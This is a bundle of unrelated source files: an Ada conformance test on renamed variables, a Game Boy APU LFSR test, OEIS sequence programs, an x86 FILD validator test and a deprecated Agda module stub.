ENTRY ASSIGN (J : IN INTEGER);
ENTRY VALU (J : OUT INTEGER);
ENTRY NEXT;
ENTRY STOP;
END TASK1;
TASK TYPE TASK2 IS
ENTRY ENTRY1 (TI1 : OUT INTEGER; TA1 : OUT ARRAY1;
TR1 : OUT RECORD1; TP1 : IN OUT POINTER1;
TV1 : IN OUT PACK1.PRIVY; TT1 : IN OUT TASK1;
TK1 : IN OUT INTEGER);
END TASK2;
I1 : INTEGER := 0;
A1 : ARRAY1(1..3) := (OTHERS => 0);
R1 : RECORD1(1) := (D => 1, FIELD1 => 0);
P1 : POINTER1 := NEW INTEGER'(0);
V1 : PACK1.PRIVY := PACK1.ZERO;
T1 : TASK1;
XI1 : INTEGER RENAMES I1;
XA1 : ARRAY1 RENAMES A1;
XR1 : RECORD1 RENAMES R1;
XP1 : POINTER1 RENAMES P1;
XV1 : PACK1.PRIVY RENAMES V1;
XT1 : TASK1 RENAMES T1;
XK1 : INTEGER RENAMES PACK1.K1;
I : INTEGER;
CHK_TASK : TASK2;
GENERIC
GI1 : IN OUT INTEGER;
GA1 : IN OUT ARRAY1;
GR1 : IN OUT RECORD1;
GP1 : IN OUT POINTER1;
GV1 : IN OUT PACK1.PRIVY;
GT1 : IN OUT TASK1;
GK1 : IN OUT INTEGER;
PACKAGE GENERIC1 IS
END GENERIC1;
FUNCTION IDENT (P : POINTER1) RETURN POINTER1 IS
BEGIN
IF EQUAL (3,3) THEN
RETURN P;
ELSE
RETURN NULL;
END IF;
END IDENT;
PROCEDURE PROC1 (PI1 : IN OUT INTEGER; PA1 : IN OUT ARRAY1;
PR1 : IN OUT RECORD1; PP1 : OUT POINTER1;
PV1 : OUT PACK1.PRIVY; PT1 : IN OUT TASK1;
PK1 : OUT INTEGER) IS
BEGIN
PI1 := PI1 + 1;
PA1 := (PA1(1)+1, PA1(2)+1, PA1(3)+1);
PR1 := (D => 1, FIELD1 => PR1.FIELD1 + 1);
PP1 := NEW INTEGER'(P1.ALL + 1);
PV1 := PACK1.NEXT(V1);
PT1.NEXT;
PK1 := PACK1.K1 + 1;
END PROC1;
PACKAGE BODY PACK1 IS
FUNCTION IDENT (I : PRIVY) RETURN PRIVY IS
BEGIN
IF EQUAL(3,3) THEN
RETURN I;
ELSE
RETURN PRIVY'(0);
END IF;
END IDENT;
FUNCTION NEXT (I : PRIVY) RETURN PRIVY IS
BEGIN
RETURN I+1;
END NEXT;
END PACK1;
PACKAGE BODY GENERIC1 IS
BEGIN
GI1 := GI1 + 1;
GA1 := (GA1(1)+1, GA1(2)+1, GA1(3)+1);
GR1 := (D => 1, FIELD1 => GR1.FIELD1+1);
GP1 := NEW INTEGER'(GP1.ALL + 1);
GV1 := PACK1.NEXT(GV1);
GT1.NEXT;
GK1 := GK1 + 1;
END GENERIC1;
TASK BODY TASK1 IS
TASK_VALUE : INTEGER := 0;
ACCEPTING_ENTRIES : BOOLEAN := TRUE;
BEGIN
WHILE ACCEPTING_ENTRIES LOOP
SELECT
ACCEPT ASSIGN (J : IN INTEGER) DO
TASK_VALUE := J;
END ASSIGN;
OR
ACCEPT VALU (J : OUT INTEGER) DO
J := TASK_VALUE;
END VALU;
OR
ACCEPT NEXT DO
TASK_VALUE := TASK_VALUE + 1;
END NEXT;
OR
ACCEPT STOP DO
ACCEPTING_ENTRIES := FALSE;
END STOP;
END SELECT;
END LOOP;
END TASK1;
TASK BODY TASK2 IS
BEGIN
ACCEPT ENTRY1 (TI1 : OUT INTEGER; TA1 : OUT ARRAY1;
TR1 : OUT RECORD1; TP1 : IN OUT POINTER1;
TV1 : IN OUT PACK1.PRIVY; TT1 : IN OUT TASK1;
TK1 : IN OUT INTEGER) DO
TI1 := I1 + 1;
TA1 := (A1(1)+1, A1(2)+1, A1(3)+1);
TR1 := (D => 1, FIELD1 => R1.FIELD1 + 1);
TP1 := NEW INTEGER'(TP1.ALL + 1);
TV1 := PACK1.NEXT(TV1);
TT1.NEXT;
TK1 := TK1 + 1;
END ENTRY1;
END TASK2;
BEGIN
TEST ("C85005A", "CHECK THAT A VARIABLE CREATED BY AN OBJECT " &
"DECLARATION CAN BE RENAMED AND HAS THE " &
"CORRECT VALUE, AND THAT THE NEW NAME CAN " &
"BE USED IN AN ASSIGNMENT STATEMENT " &
"AND PASSED ON AS AN ACTUAL SUBPROGRAM OR " &
"ENTRY 'IN OUT' OR 'OUT' PARAMETER, AND AS AN " &
"ACTUAL GENERIC 'IN OUT' PARAMETER, AND THAT " &
"WHEN THE VALUE OF THE RENAMED VARIABLE IS " &
"CHANGED, THE NEW VALUE IS REFLECTED BY THE " &
"VALUE OF THE NEW NAME");
DECLARE
PACKAGE GENPACK1 IS NEW
GENERIC1 (XI1, XA1, XR1, XP1, XV1, XT1, XK1);
BEGIN
NULL;
END;
IF XI1 /= IDENT_INT(1) THEN
FAILED ("INCORRECT VALUE OF XI1 (1)");
END IF;
IF XA1 /= (IDENT_INT(1),IDENT_INT(1),IDENT_INT(1)) THEN
FAILED ("INCORRECT VALUE OF XA1 (1)");
END IF;
IF XR1 /= (D => 1, FIELD1 => IDENT_INT(1)) THEN
FAILED ("INCORRECT VALUE OF XR1 (1)");
END IF;
IF XP1 /= IDENT(P1) OR XP1.ALL /= IDENT_INT(1) THEN
FAILED ("INCORRECT VALUE OF XP1 (1)");
END IF;
IF PACK1."/=" (XV1, PACK1.IDENT(PACK1.ONE)) THEN
FAILED ("INCORRECT VALUE OF XV1 (1)");
END IF;
XT1.VALU(I);
IF I /= IDENT_INT(1) THEN
FAILED ("INCORRECT RETURN VALUE OF XT1.VALU (1)");
END IF;
IF XK1 /= IDENT_INT(1) THEN
FAILED ("INCORRECT VALUE OF XK1 (1)");
END IF;
PROC1(XI1, XA1, XR1, XP1, XV1, XT1, XK1);
IF XI1 /= IDENT_INT(2) THEN
FAILED ("INCORRECT VALUE OF XI1 (2)");
END IF;
IF XA1 /= (IDENT_INT(2),IDENT_INT(2),IDENT_INT(2)) THEN
FAILED ("INCORRECT VALUE OF XA1 (2)");
END IF;
IF XR1 /= (D => 1, FIELD1 => IDENT_INT(2)) THEN
FAILED ("INCORRECT VALUE OF XR1 (2)");
END IF;
IF XP1 /= IDENT(P1) OR XP1.ALL /= IDENT_INT(2) THEN
FAILED ("INCORRECT VALUE OF XP1 (2)");
END IF;
IF PACK1."/=" (XV1, PACK1.IDENT(PACK1.TWO)) THEN
FAILED ("INCORRECT VALUE OF XV1 (2)");
END IF;
XT1.VALU(I);
IF I /= IDENT_INT(2) THEN
FAILED ("INCORRECT RETURN VALUE FROM XT1.VALU (2)");
END IF;
IF XK1 /= IDENT_INT(2) THEN
FAILED ("INCORRECT VALUE OF XK1 (2)");
END IF;
CHK_TASK.ENTRY1(XI1, XA1, XR1, XP1, XV1, XT1, XK1);
IF XI1 /= IDENT_INT(3) THEN
FAILED ("INCORRECT VALUE OF XI1 (3)");
END IF;
IF XA1 /= (IDENT_INT(3),IDENT_INT(3),IDENT_INT(3)) THEN
FAILED ("INCORRECT VALUE OF XA1 (3)");
END IF;
IF XR1 /= (D => 1, FIELD1 => IDENT_INT(3)) THEN
FAILED ("INCORRECT VALUE OF XR1 (3)");
END IF;
IF XP1 /= IDENT(P1) OR XP1.ALL /= IDENT_INT(3) THEN
FAILED ("INCORRECT VALUE OF XP1 (3)");
END IF;
IF PACK1."/=" (XV1, PACK1.IDENT(PACK1.THREE)) THEN
FAILED ("INCORRECT VALUE OF XV1 (3)");
END IF;
XT1.VALU(I);
IF I /= IDENT_INT(3) THEN
FAILED ("INCORRECT RETURN VALUE OF XT1.VALU (3)");
END IF;
IF XK1 /= IDENT_INT(3) THEN
FAILED ("INCORRECT VALUE OF XK1 (3)");
END IF;
XI1 := XI1 + 1;
XA1 := (XA1(1)+1, XA1(2)+1, XA1(3)+1);
XR1 := (D => 1, FIELD1 => XR1.FIELD1 + 1);
XP1 := NEW INTEGER'(XP1.ALL + 1);
XV1 := PACK1.NEXT(XV1);
XT1.NEXT;
XK1 := XK1 + 1;
IF XI1 /= IDENT_INT(4) THEN
FAILED ("INCORRECT VALUE OF XI1 (4)");
END IF;
IF XA1 /= (IDENT_INT(4),IDENT_INT(4),IDENT_INT(4)) THEN
FAILED ("INCORRECT VALUE OF XA1 (4)");
END IF;
IF XR1 /= (D => 1, FIELD1 => IDENT_INT(4)) THEN
FAILED ("INCORRECT VALUE OF XR1 (4)");
END IF;
IF XP1 /= IDENT(P1) OR XP1.ALL /= IDENT_INT(4) THEN
FAILED ("INCORRECT VALUE OF XP1 (4)");
END IF;
IF PACK1."/=" (XV1, PACK1.IDENT(PACK1.FOUR)) THEN
FAILED ("INCORRECT VALUE OF XV1 (4)");
END IF;
XT1.VALU(I);
IF I /= IDENT_INT(4) THEN
FAILED ("INCORRECT RETURN VALUE OF XT1.VALU (4)");
END IF;
IF XK1 /= IDENT_INT(4) THEN
FAILED ("INCORRECT VALUE OF XK1 (4)");
END IF;
I1 := I1 + 1;
A1 := (A1(1)+1, A1(2)+1, A1(3)+1);
R1 := (D => 1, FIELD1 => R1.FIELD1 + 1);
P1 := NEW INTEGER'(P1.ALL + 1);
V1 := PACK1.NEXT(V1);
T1.NEXT;
PACK1.K1 := PACK1.K1 + 1;
IF XI1 /= IDENT_INT(5) THEN
FAILED ("INCORRECT VALUE OF XI1 (5)");
END IF;
IF XA1 /= (IDENT_INT(5),IDENT_INT(5),IDENT_INT(5)) THEN
FAILED ("INCORRECT VALUE OF XA1 (5)");
END IF;
IF XR1 /= (D => 1, FIELD1 => IDENT_INT(5)) THEN
FAILED ("INCORRECT VALUE OF XR1 (5)");
END IF;
IF XP1 /= IDENT(P1) OR XP1.ALL /= IDENT_INT(5) THEN
FAILED ("INCORRECT VALUE OF XP1 (5)");
END IF;
IF PACK1."/=" (XV1, PACK1.IDENT(PACK1.FIVE)) THEN
FAILED ("INCORRECT VALUE OF XV1 (5)");
END IF;
XT1.VALU(I);
IF I /= IDENT_INT(5) THEN
FAILED ("INCORRECT RETURN VALUE OF XT1.VALU (5)");
END IF;
IF XK1 /= IDENT_INT(5) THEN
FAILED ("INCORRECT VALUE OF XK1 (5)");
END IF;
T1.STOP;
RESULT;
END C85005A;
|
apu/channel_4/channel_4_lfsr15.asm | endrift/SameSuite | 21 | 1054 | <reponame>endrift/SameSuite
RESULTS_START EQU $c006
RESULTS_N_ROWS EQU 16
include "base.inc"
; This test verifies the LFSR algorithm used is correct,
; this time using 15-bit LFSR.
; For convinence, it proccesses the results into
; reconsructed LFSR values.
CorrectResults:
db $00, $00, $00, $80, $C0, $E0, $F0, $F8
db $FC, $FE, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $7F, $BF, $DF, $EF, $F7, $FB, $FD
db $FE, $FF, $FF, $FF, $FF, $FF, $FF, $7F
db $3F, $9F, $CF, $E7, $F3, $F9, $FC, $FE
db $FF, $FF, $FF, $FF, $FF, $7F, $BF, $5F
db $AF, $D7, $EB, $F5, $FA, $FD, $FE, $FF
db $FF, $FF, $FF, $7F, $3F, $1F, $0F, $87
db $C3, $E1, $F0, $F8, $FC, $FE, $FF, $FF
db $FF, $7F, $BF, $DF, $EF, $77, $BB, $DD
db $EE, $F7, $FB, $FD, $FE, $FF, $FF, $7F
db $3F, $9F, $CF, $67, $33, $99, $CC, $E6
db $F3, $F9, $FC, $FE, $FF, $7F, $BF, $5F
db $AF, $57, $AB, $55, $AA, $D5, $EA, $F5
db $FA, $FD, $FE, $7F, $3F, $1F, $0F, $07
db $03, $01, $00, $80, $C0, $E0, $F0, $F8
SubTest: MACRO
xor a
ldh [rNR52], a
cpl
ldh [rNR52], a
ld hl, rPCM34
ld a, $F0
ldh [rNR42], a
xor a
ldh [rNR43], a
ld a, $80
ldh [rNR44], a
nops \1
ld a, [hl]
call StoreResult
ENDM
RunTest:
ld de, $c000
xor a
ld [de], a
; Frequency is 512KHz, each sample is 2 cycles long
SubTest $00d
SubTest $00f
SubTest $011
SubTest $013
SubTest $015
SubTest $017
SubTest $019
SubTest $01b
SubTest $01d
SubTest $01f
SubTest $021
SubTest $023
SubTest $025
SubTest $027
SubTest $029
SubTest $02b
SubTest $02d
SubTest $02f
SubTest $031
SubTest $033
SubTest $035
SubTest $037
SubTest $039
SubTest $03b
SubTest $03d
SubTest $03f
SubTest $041
SubTest $043
SubTest $045
SubTest $047
SubTest $049
SubTest $04b
SubTest $04d
SubTest $04f
SubTest $051
SubTest $053
SubTest $055
SubTest $057
SubTest $059
SubTest $05b
SubTest $05d
SubTest $05f
SubTest $061
SubTest $063
SubTest $065
SubTest $067
SubTest $069
SubTest $06b
SubTest $06d
SubTest $06f
SubTest $071
SubTest $073
SubTest $075
SubTest $077
SubTest $079
SubTest $07b
SubTest $07d
SubTest $07f
SubTest $081
SubTest $083
SubTest $085
SubTest $087
SubTest $089
SubTest $08b
SubTest $08d
SubTest $08f
SubTest $091
SubTest $093
SubTest $095
SubTest $097
SubTest $099
SubTest $09b
SubTest $09d
SubTest $09f
SubTest $0a1
SubTest $0a3
SubTest $0a5
SubTest $0a7
SubTest $0a9
SubTest $0ab
SubTest $0ad
SubTest $0af
SubTest $0b1
SubTest $0b3
SubTest $0b5
SubTest $0b7
SubTest $0b9
SubTest $0bb
SubTest $0bd
SubTest $0bf
SubTest $0c1
SubTest $0c3
SubTest $0c5
SubTest $0c7
SubTest $0c9
SubTest $0cb
SubTest $0cd
SubTest $0cf
SubTest $0d1
SubTest $0d3
SubTest $0d5
SubTest $0d7
SubTest $0d9
SubTest $0db
SubTest $0dd
SubTest $0df
SubTest $0e1
SubTest $0e3
SubTest $0e5
SubTest $0e7
SubTest $0e9
SubTest $0eb
SubTest $0ed
SubTest $0ef
SubTest $0f1
SubTest $0f3
SubTest $0f5
SubTest $0f7
SubTest $0f9
SubTest $0fb
SubTest $0fd
SubTest $0ff
SubTest $101
SubTest $103
SubTest $105
SubTest $107
SubTest $109
SubTest $10b
SubTest $10d
SubTest $10f
SubTest $111
SubTest $113
SubTest $115
SubTest $117
SubTest $119
SubTest $11b
ret
StoreResult::
and $80
ld b, a
ld a, [de]
srl a
or b
inc de
ld [de], a
ret
CGB_MODE
|
programs/oeis/038/A038390.asm | karttu/loda | 0 | 166889 | <gh_stars>0
; A038390: Bisection of A028289.
; 1,2,5,11,17,27,42,57,78,106,134,170,215,260,315,381,447,525,616,707,812,932,1052,1188,1341,1494,1665,1855,2045,2255,2486,2717,2970,3246,3522,3822,4147,4472,4823,5201,5579,5985,6420,6855,7320,7816,8312,8840,9401,9962,10557,11187,11817,12483,13186,13889,14630,15410,16190,17010,17871,18732,19635,20581,21527,22517,23552,24587,25668,26796,27924,29100,30325,31550,32825,34151,35477,36855,38286,39717,41202,42742,44282,45878,47531,49184,50895,52665,54435,56265,58156,60047,62000,64016,66032,68112,70257,72402,74613,76891,79169,81515,83930,86345,88830,91386,93942,96570,99271,101972,104747,107597,110447,113373,116376,119379,122460,125620,128780,132020,135341,138662,142065,145551,149037,152607,156262,159917,163658,167486,171314,175230,179235,183240,187335,191521,195707,199985,204356,208727,213192,217752,222312,226968,231721,236474,241325,246275,251225,256275,261426,266577,271830,277186,282542,288002,293567,299132,304803,310581,316359,322245,328240,334235,340340,346556,352772,359100,365541,371982,378537,385207,391877,398663,405566,412469,419490,426630,433770,441030,448411,455792,463295,470921,478547,486297,494172,502047,510048,518176,526304,534560,542945,551330,559845,568491,577137,585915,594826,603737,612782,621962,631142,640458,649911,659364,668955,678685,688415,698285,708296,718307,728460,738756,749052,759492,770077,780662,791393,802271,813149,824175,835350,846525,857850,869326,880802,892430,904211,915992,927927,940017,952107,964353,976756,989159,1001720,1014440,1027160,1040040,1053081,1066122,1079325,1092691,1106057,1119587,1133282,1146977,1160838,1174866
mov $16,$0
mov $18,$0
add $18,1
lpb $18,1
clr $0,16
mov $0,$16
sub $18,1
sub $0,$18
mov $13,$0
mov $15,$0
add $15,1
lpb $15,1
mov $0,$13
sub $15,1
sub $0,$15
mov $9,$0
mov $11,2
lpb $11,1
mov $0,$9
sub $11,1
add $0,$11
add $0,2
mov $6,49
mov $8,$0
mul $8,2
div $8,3
bin $8,2
mul $6,$8
mov $1,$6
mov $12,$11
lpb $12,1
mov $10,$1
sub $12,1
lpe
lpe
lpb $9,1
mov $9,0
sub $10,$1
lpe
mov $1,$10
div $1,49
add $14,$1
lpe
add $17,$14
lpe
mov $1,$17
|
mc-sema/validator/x86/tests/FILD_32m.asm | randolphwong/mcsema | 2 | 103417 | BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
;TEST_BEGIN_RECORDING
lea edi, [esp-0x08]
mov dword [edi], 0x1
FILD dword [edi]
mov edi, 0
;TEST_END_RECORDING
|
agda-stdlib/src/Data/Product/N-ary/Properties.agda | DreamLinuxer/popl21-artifact | 5 | 11332 | <reponame>DreamLinuxer/popl21-artifact<filename>agda-stdlib/src/Data/Product/N-ary/Properties.agda
------------------------------------------------------------------------
-- The Agda standard library
--
-- This module is DEPRECATED. Please use Data.Vec.Recursive.Properties
-- instead.
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.Product.N-ary.Properties where
{-# WARNING_ON_IMPORT
"Data.Product.N-ary.Properties was deprecated in v1.1.
Use Data.Vec.Recursive.Properties instead."
#-}
open import Data.Vec.Recursive.Properties public
|
programs/oeis/333/A333183.asm | karttu/loda | 0 | 83851 | ; A333183: Number of digits in concatenation of first n positive even integers.
; 1,2,3,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,97,100,103,106,109,112,115,118,121,124,127,130,133,136,139,142,145,148,151,154,157,160,163,166,169,172,175,178,181,184,187,190,193,196,199,202,205,208,211,214,217,220,223,226,229,232,235,238,241,244,247,250,253,256,259,262,265,268,271,274,277,280,283,286,289,292,295,298,301,304,307,310,313,316,319,322,325,328,331,334,337,340,343,346,349,352,355,358,361,364,367,370,373,376,379,382,385,388,391,394,397,400,403,406,409,412,415,418,421,424,427,430,433,436,439,442,445,448,451,454,457,460,463,466,469,472,475,478,481,484,487,490,493,496,499,502,505,508,511,514,517,520,523,526,529,532,535,538,541,544,547,550,553,556,559,562,565,568,571,574,577,580,583,586,589,592,595,598,601,604,607,610,613,616,619,622,625,628,631,634,637,640,643,646,649,652,655,658,661,664,667,670,673,676,679,682,685,688,691,694,697
mov $4,$0
add $4,1
mov $7,$0
lpb $4,1
mov $0,$7
sub $4,1
sub $0,$4
mul $0,2
mov $2,9
mov $3,1
lpb $2,1
add $0,1
add $0,$2
add $3,2
add $5,$6
lpb $5,1
mov $5,1
lpe
mov $6,$2
mov $2,$5
add $3,4
sub $3,$5
lpb $6,1
mul $0,2
sub $6,$3
lpe
log $0,$3
lpe
add $1,$0
lpe
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.